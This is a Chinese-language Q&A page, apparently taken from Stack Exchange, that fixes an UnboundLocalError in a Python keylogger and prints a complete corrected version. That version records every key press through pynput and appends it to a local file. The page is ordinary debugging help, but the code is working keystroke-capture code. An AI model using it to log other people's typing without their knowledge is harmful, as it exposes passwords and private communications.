Python编写keylogger报UnboundLocalError 变量K赋值前引用异常
报错根因
UnboundLocalError: local variable 'K' referenced before assignment 触发的核心原因是KeyLog函数内的局部变量K没有覆盖所有代码执行路径:
- 当触发按键为Win键(即字符串表示包含
cmd的特殊键)时,分支内仅执行了str(key).replace('cmd', 'Windows')操作,既没有接收字符串替换的返回值,也未对K进行赋值,后续执行到data = str(K)时自然会找不到已定义的局部变量 - 代码末尾手动调用
KeyLog()属于错误写法:键盘监听器启动后会自动在按键事件触发时传入key参数调用回调函数,手动无参调用首先会触发参数缺失报错,就算补了参数也会造成重复的日志写入 - 这个场景完全不需要使用
global声明全局变量,全局变量反而会在高频触发的按键事件下造成变量值污染,只要保证局部变量在所有执行分支都有赋值即可解决问题。
修复后完整代码
from pynput import keyboard def KeyInput(): with keyboard.Listener(on_press=KeyLog) as listener: listener.join() def KeyLog(key): K = "" if type(key) == keyboard._win32.KeyCode: # 普通字母、数字类按键 K = key.char else: # 特殊功能键处理 key_name = str(key).replace("Key.", "") if 'cmd' in key_name: K = " Windows " else: K = f" {key_name} " # 追加写入日志文件 with open('keylogs.txt', 'a', encoding='utf-8') as log_file: log_file.write(K) if __name__ == "__main__": KeyInput()
关键修复点
- 在
KeyLog函数入口先初始化K为空字符串,从根源上避免分支漏赋值导致的未定义错误,不需要改动原有分支判断逻辑 - 补全了Win键分支的
K赋值逻辑,修正了原代码中字符串替换后不接收返回值的无效写法 - 移除了
with文件块内冗余的close()调用,上下文管理器会自动完成文件资源释放 - 删除了末尾错误的无参
KeyLog()调用,用__main__入口判断包裹启动逻辑,避免模块被导入时自动运行 - 增加文件写入的
utf-8编码参数,避免特殊字符写入时出现乱码 - 去掉特殊键默认自带的
Key.前缀,日志内容更简洁可读
内容的提问来源于stack exchange,提问作者MR.PRDX
相关产品推荐
相关产品推荐

